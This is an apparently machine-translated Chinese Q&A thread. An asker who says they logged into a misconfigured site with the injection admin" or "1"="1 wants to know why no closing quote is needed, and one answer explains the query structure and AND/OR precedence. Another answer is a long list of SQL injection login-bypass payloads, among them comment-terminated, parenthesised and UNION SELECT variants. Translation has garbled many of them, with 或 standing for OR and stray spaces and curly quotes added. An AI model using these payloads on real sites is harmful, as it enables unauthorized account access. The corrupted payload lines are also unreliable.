我在一个拥有运行SQL注入权限的网站上运行admin" or "1"="1
。该网站配置错误,让我直接登录。
我不明白的是,为什么在最后一个数字1之后不需要双引号?
如果php的工作方式如下:username="admin" and password=md5("password")
,则admin后的引号将关闭第一个引号。
"1" is closed, but I don't understand "1
有人可以帮我解释一下吗?
预先感谢
答案 0 :(得分:1)
考虑应用程序中的SQL查询可能是什么。
您注意到的可能类似于select * from users where username="<<username>>" and password=md5("<<password>>")
。
在注入<<username>>
和<<password>>
之后,您仍然需要具有有效的SQL查询,否则应用程序将因错误而失败。
使用<<username>>
进行注入,admin
后的引号关闭用户名字符串,or "1"="1
进行如下查询:
select * from users where username="admin" or "1"="1" and password=md5("<<password>>")
这是有效的,并且由于and
的优先级高于or
,因此它将获得名称为“ admin”的用户,或者该用户具有您在其他字段中输入的密码-不会问题。
如果在插入的字符串的末尾有一个引号,则查询将为select * from users where username="admin" or "1"="1"" and password=md5("<<password>>")
,由于两个引号(由于引号的数量为奇数,很容易看到),该查询是无效的SQL。
答案 1 :(得分:0)
应用程序中的SQL查询将关闭最后1个双引号。
答案 2 :(得分:-1)
SQL注入模式 或1 = 1
或1 = 1-
或1 = 1#
或1 = 1 / *
admin'-
admin'#
admin'/ *
admin'或'1'='1
admin'或'1'='1'-
admin'或'1'='1'#
admin'或'1'='1'/ *
admin'or 1 = 1或''='
admin'或1 = 1
admin'或1 = 1-
admin'或1 = 1#
admin'或1 = 1 / *
admin')或('1'='1
admin')或('1'='1'-
admin')或('1'='1'#
admin')或('1'='1'/ *
admin')或'1'='1
admin')或'1'='1'-
admin')或'1'='1'#
admin')或'1'='1'/ *
1234'AND 1 = 0 UNION ALL SELECT'admin','81dc9bdb52d04dc20036dbd8313ed055
admin”-
admin”#
admin” / *
admin”或“ 1” =“ 1
admin”或“ 1” =“ 1”-
admin”或“ 1” =“ 1”#
admin”或“ 1” =“ 1” / *
admin”或1 = 1或““ =”
admin”或1 = 1
admin”或1 = 1-
admin”或1 = 1#
admin”或1 = 1 / *
admin“)或(” 1“ =” 1
admin”)或(“ 1” =“ 1”-
admin“)或(” 1“ =” 1“#
admin“)或(” 1“ =” 1“ / *
admin“)或” 1“ =” 1
admin“)或” 1“ =” 1“-
admin“)或” 1“ =” 1“#
admin“)或” 1“ =” 1“ / *
1234“ AND 1 = 0 UNION ALL SELECT” admin“,” 81dc9bdb52d04dc20036dbd8313ed055
希望这对您有帮助